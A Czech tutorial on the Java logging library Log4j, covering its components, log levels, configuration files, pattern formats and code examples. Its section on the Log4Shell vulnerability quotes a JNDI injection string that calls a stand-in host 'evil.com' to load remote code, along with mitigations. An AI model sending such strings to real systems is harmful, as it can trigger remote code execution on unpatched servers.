Log4j

Log4j je **populární logovací framework pro Javu**, který umožňuje vývojářům snadno zapisovat logy do různých výstupů (soubory, databáze, konzole) s různými úrovněmi detailu.

Co je Log4j

Log4j (Log for Java) je open-source knihovna od Apache Software Foundation, která poskytuje flexibilní a výkonný systém pro logování v Java aplikacích.

Základní informace:

- **Jazyk:** Java
- **Autor:** Apache Software Foundation
- **První verze:** 2001
- **Aktuální verze:** Log4j 2.x (kompletně přepsaná od verze 1.x)
- **Licence:** Apache License 2.0

Proč používat Log4j

Výhody oproti základnímu System.out.println():

- **Úrovně logování** - DEBUG, INFO, WARN, ERROR, FATAL
- **Flexibilní výstupy** - konzole, soubory, databáze, email, síť
- **Konfigurace bez úpravy kódu** - přes XML, JSON nebo properties soubory
- **Výkon** - asynchronní logování, minimální overhead
- **Filtrace** - logování pouze z určitých tříd/balíčků
- **Formátování** - vlastní formát log zpráv
- **Rotace logů** - automatické archivování starých logů

Základní architektura

Log4j 2 má tři hlavní komponenty:

1. Logger

Objekt, který zapisuje logy. Každá třída má typicky svůj logger.

```
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class MojeTrida {
    private static final Logger logger =
```

```
LogManager.getLogger(MojeTrida.class);

    public void mojeMetoda() {
        logger.debug("Debug zpráva");
        logger.info("Informativní zpráva");
        logger.warn("Varování");
        logger.error("Chyba");
        logger.fatal("Kritická chyba");
    }
}
```

2. Appender

Určuje, **kam** se logy zapisují:

- **ConsoleAppender** - výstup do konzole
- **FileAppender** - výstup do souboru
- **RollingFileAppender** - rotace log souborů
- **JDBCAppender** - zápis do databáze
- **SMTPAppender** - odeslání emailu
- **SocketAppender** - síťové logování

3. Layout

Určuje **formát** log zpráv:

- **PatternLayout** - vlastní formát pomocí vzorů
- **JSONLayout** - výstup v JSON formátu
- **XMLLayout** - výstup v XML formátu
- **HTMLLayout** - HTML tabulka

Úrovně logování

Log4j 2 má šest úrovní závažnosti (od nejméně po nejvíce závažné):

Úroveň	Metoda	Použití
TRACE	`logger.trace()`	Velmi detailní informace pro hloubkové ladění
DEBUG	`logger.debug()`	Ladící informace užitečné při vývoji
INFO	`logger.info()`	Obecné informace o běhu aplikace
WARN	`logger.warn()`	Varování o potenciálních problémech
ERROR	`logger.error()`	Chyby, které ale neukončí aplikaci
FATAL	`logger.fatal()`	Kritické chyby vedoucí k pádu aplikace

Hierarchie úrovní: Když nastavíte úroveň na INFO, budou se logovat INFO, WARN, ERROR a FATAL, ale ne DEBUG a TRACE.

Konfigurace Log4j

XML konfigurace (log4j2.xml)

```
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <!-- Definice appenderů -->
    <Appenders>
        <!-- Výstup do konzole -->
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level
%logger{36} - %msg%n"/>
        </Console>

        <!-- Výstup do souboru s rotací -->
        <RollingFile name="RollingFile" fileName="logs/app.log"
                     filePattern="logs/app-%d{yyyy-MM-dd}-%i.log.gz">
            <PatternLayout>
                <pattern>%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L -
%m%n</pattern>
            </PatternLayout>
            <Policies>
                <TimeBasedTriggeringPolicy />
                <SizeBasedTriggeringPolicy size="10 MB"/>
            </Policies>
            <DefaultRolloverStrategy max="10"/>
        </RollingFile>
    </Appenders>

    <!-- Definice loggerů -->
    <Loggers>
        <!-- Root logger - výchozí pro celou aplikaci -->
        <Root level="info">
            <AppenderRef ref="Console"/>
            <AppenderRef ref="RollingFile"/>
        </Root>

        <!-- Specifický logger pro určitý balíček -->
        <Logger name="com.mojefirma.modul" level="debug" additivity="false">
            <AppenderRef ref="Console"/>
        </Logger>
    </Loggers>
</Configuration>
```

Properties konfigurace (log4j2.properties)

```
# Root logger
rootLogger.level = info
```

```
rootLogger.appenderRef.console.ref = Console
rootLogger.appenderRef.file.ref = RollingFile

# Console appender
appender.console.type = Console
appender.console.name = Console
appender.console.layout.type = PatternLayout
appender.console.layout.pattern = %d{HH:mm:ss.SSS} [%t] %-5level %logger{36}
- %msg%n

# File appender
appender.file.type = RollingFile
appender.file.name = RollingFile
appender.file.fileName = logs/app.log
appender.file.filePattern = logs/app-%d{yyyy-MM-dd}.log.gz
appender.file.layout.type = PatternLayout
appender.file.layout.pattern = %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
```

Pattern Layout - formátování

Nejpoužívanější vzory (patterns) pro formátování log zpráv:

Vzor	Popis	Příklad
%d	Datum a čas	2026-01-06 14:23:15
%p	Úroveň (level)	INFO, ERROR
%c	Název loggeru (třída)	com.firma.MojeTrida
%t	Název vlákna (thread)	main, Thread-1
%m	Zpráva	Vlastní text zprávy
%n	Nový řádek	Zalomení řádku
%L	Číslo řádku	42
%M	Název metody	mojeMetoda
%F	Název souboru	MojeTrida.java

Příklad komplexního patternu:

```
%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n
```

Výstup:

```
2026-01-06 14:23:15.123 [main] INFO  com.firma.MojeTrida - Aplikace spuštěna
2026-01-06 14:23:16.456 [pool-1-thread-1] ERROR com.firma.Databaze -
Připojení selhalo
```

Praktické příklady použití

Základní logování

```
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Kalkulacka {
    private static final Logger logger =
LogManager.getLogger(Kalkulacka.class);

    public int secti(int a, int b) {
        logger.debug("Sčítám {} + {}", a, b);
        int vysledek = a + b;
        logger.info("Výsledek: {}", vysledek);
        return vysledek;
    }

    public int vydel(int a, int b) {
        logger.debug("Dělím {} / {}", a, b);

        if (b == 0) {
            logger.error("Pokus o dělení nulou! a={}, b={}", a, b);
            throw new ArithmeticException("Dělení nulou");
        }

        int vysledek = a / b;
        logger.info("Výsledek: {}", vysledek);
        return vysledek;
    }
}
```

Logování výjimek

```
public void nactiSoubor(String cesta) {
    logger.info("Načítám soubor: {}", cesta);

    try {
        // Kód pro čtení souboru
        BufferedReader reader = new BufferedReader(new FileReader(cesta));
        // ...
        logger.debug("Soubor úspěšně načten");

    } catch (FileNotFoundException e) {
        logger.error("Soubor nenalezen: {}", cesta, e);

    } catch (IOException e) {
        logger.error("Chyba při čtení souboru: {}", cesta, e);
        throw new RuntimeException("Nelze načíst soubor", e);
    }
```

```
}
```

Výstup:

```
2026-01-06 14:23:15 INFO  SouborovyManager:12 - Načítám soubor: data.txt
2026-01-06 14:23:15 ERROR SouborovyManager:20 - Soubor nenalezen: data.txt
java.io.FileNotFoundException: data.txt (No such file or directory)
    at java.io.FileInputStream.open0(Native Method)
    at java.io.FileInputStream.open(FileInputStream.java:195)
    ...
```

Podmíněné logování

```
// Nekontrolujte úroveň ručně - Log4j to dělá automaticky
// ŠPATNĚ:
if (logger.isDebugEnabled()) {
    logger.debug("Zpráva: " + drahyVypocet());
}

// DOBŘE - použijte parametrizované zprávy:
logger.debug("Zpráva: {}", () -> drahyVypocet());

// Nebo pro více parametrů:
logger.debug("Uživatel {} provedl {} v {}",
    () -> uzivatel.getJmeno(),
    () -> akce.getNazev(),
    () -> format(cas)
);
```

Log4Shell - bezpečnostní problém

V prosinci 2021 byla objevena **kritická zranitelnost CVE-2021-44228** v Log4j 2 nazvaná **Log4Shell**.

Co se stalo:

- Útočník mohl spustit vzdálený kód (Remote Code Execution)
- Pomocí speciálního textu v logu: `${jndi:ldap://evil.com/a}`
- Postihlo miliony aplikací po celém světě

Řešení:

- **Aktualizovat** na Log4j 2.17.0 nebo novější
- **Vypnout** JNDI lookup: `-Dlog4j2.formatMsgNoLookups=true`
- **Nahradit** starší verze

Doporučení:

- Vždy používejte **nejnovější verzi** Log4j

- Sledujte bezpečnostní bulletiny
- Pravidelně aktualizujte závislosti

Alternativy k Log4j

- **Logback** - nástupce Log4j 1.x, rychlejší
- **SLF4J** - abstraktní vrstva nad různými logovacími frameworky
- **java.util.logging** - vestavěné v Javě (méně funkcí)
- **tinylog** - velmi lehký framework

Závislosti (Maven)

Pro použití Log4j 2 v projektu:

```
<dependencies>
    <!-- Log4j 2 API -->
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.22.1</version>
    </dependency>

    <!-- Log4j 2 Core -->
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.22.1</version>
    </dependency>
</dependencies>
```

Shrnutí

Log4j je:

- Profesionální nástroj pro logování v Java aplikacích
- Flexibilní - různé výstupy, formáty, úrovně
- Výkonný - asynchronní logování, minimální overhead
- Konfigurovatelný - bez změny kódu
- Nutno udržovat aktuální kvůli bezpečnosti

Používá se pro:

- Enterprise aplikace
- Webové servery (Tomcat, JBoss)
- Microservices
- Android aplikace (varianta)

- Všude, kde potřebujete robustní logování v Javě